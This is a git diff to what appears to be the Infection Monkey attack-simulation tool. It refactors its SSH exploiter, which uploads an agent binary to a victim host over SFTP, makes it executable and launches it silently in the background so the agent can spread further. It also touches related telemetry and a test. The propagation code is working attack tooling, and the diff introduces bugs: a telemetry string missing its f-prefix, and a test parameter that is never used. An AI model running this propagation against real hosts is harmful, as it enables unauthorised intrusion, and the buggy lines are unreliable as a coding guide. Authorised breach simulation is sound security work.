diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 5f823b211..7d0955ffb 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -1,5 +1,6 @@
 import io
 import logging
+from pathlib import Path
 
 import paramiko
 
@@ -7,6 +8,7 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_T
 from common.utils.attack_utils import ScanStatus
 from common.utils.exceptions import FailedExploitationError
 from infection_monkey.exploit.HostExploiter import HostExploiter
+from infection_monkey.exploit.tools.helpers import get_agent_dest_path
 from infection_monkey.i_puppet import ExploiterResultData
 from infection_monkey.model import MONKEY_ARG
 from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
@@ -204,15 +206,17 @@ class SSHExploiter(HostExploiter):
             self._set_interrupted()
             return self.exploit_result
 
+        monkey_path_on_victim = get_agent_dest_path(self.host, self.options)
+
         try:
             with ssh.open_sftp() as ftp:
                 ftp.putfo(
                     agent_binary_file_object,
-                    self.options["dropper_target_path_linux"],
+                    str(monkey_path_on_victim),
                     file_size=len(agent_binary_file_object.getbuffer()),
                     callback=self.log_transfer,
                 )
-                self._set_executable_bit_on_agent_binary(ftp)
+                self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
 
             status = ScanStatus.USED
         except Exception as exc:
@@ -227,21 +231,21 @@ class SSHExploiter(HostExploiter):
                 status,
                 get_interface_to_target(self.host.ip_addr),
                 self.host.ip_addr,
-                self.options["dropper_target_path_linux"],
+                monkey_path_on_victim,
             )
         )
         if status == ScanStatus.SCANNED:
             return self.exploit_result
 
         try:
-            cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
+            cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
             cmdline += build_monkey_commandline(self.host, self.current_depth - 1)
             cmdline += " > /dev/null 2>&1 &"
             ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
 
             logger.info(
                 "Executed monkey '%s' on remote victim %r (cmdline=%r)",
-                self.options["dropper_target_path_linux"],
+                monkey_path_on_victim,
                 self.host,
                 cmdline,
             )
@@ -260,12 +264,14 @@ class SSHExploiter(HostExploiter):
             logger.error(self.exploit_result.error_message)
             return self.exploit_result
 
-    def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
-        ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
+    def _set_executable_bit_on_agent_binary(
+        self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: Path
+    ):
+        ftp.chmod(str(monkey_path_on_victim), 0o700)
         self.telemetry_messenger.send_telemetry(
             T1222Telem(
                 ScanStatus.USED,
-                "chmod 0700 %s" % self.options["dropper_target_path_linux"],
+                "chmod 0700 {monkey_path_on_victim}",
                 self.host,
             )
         )
diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
index 939e2b3e2..a3745a59f 100644
--- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
@@ -1,8 +1,12 @@
+from pathlib import Path
+from typing import Union
+
+from common.utils.attack_utils import ScanStatus
 from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
 
 
 class T1105Telem(AttackTelem):
-    def __init__(self, status, src, dst, filename):
+    def __init__(self, status: ScanStatus, src: str, dst: str, filename: Union[Path, str]):
         """
         T1105 telemetry.
         :param status: ScanStatus of technique
@@ -11,7 +15,7 @@ class T1105Telem(AttackTelem):
         :param filename: Uploaded file's name
         """
         super(T1105Telem, self).__init__("T1105", status)
-        self.filename = filename
+        self.filename = str(filename)
         self.src = src
         self.dst = dst
 
diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py
index 690c4508c..6cfe82a80 100644
--- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py
@@ -1,4 +1,5 @@
 import json
+from pathlib import Path
 
 import pytest
 
@@ -16,7 +17,8 @@ def T1105_telem_test_instance():
     return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME)
 
 
-def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry):
+@pytest.mark.parametrize("filename", [Path(FILENAME), FILENAME])
+def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry, filename):
     T1105_telem_test_instance.send()
     expected_data = {
         "status": STATUS.value,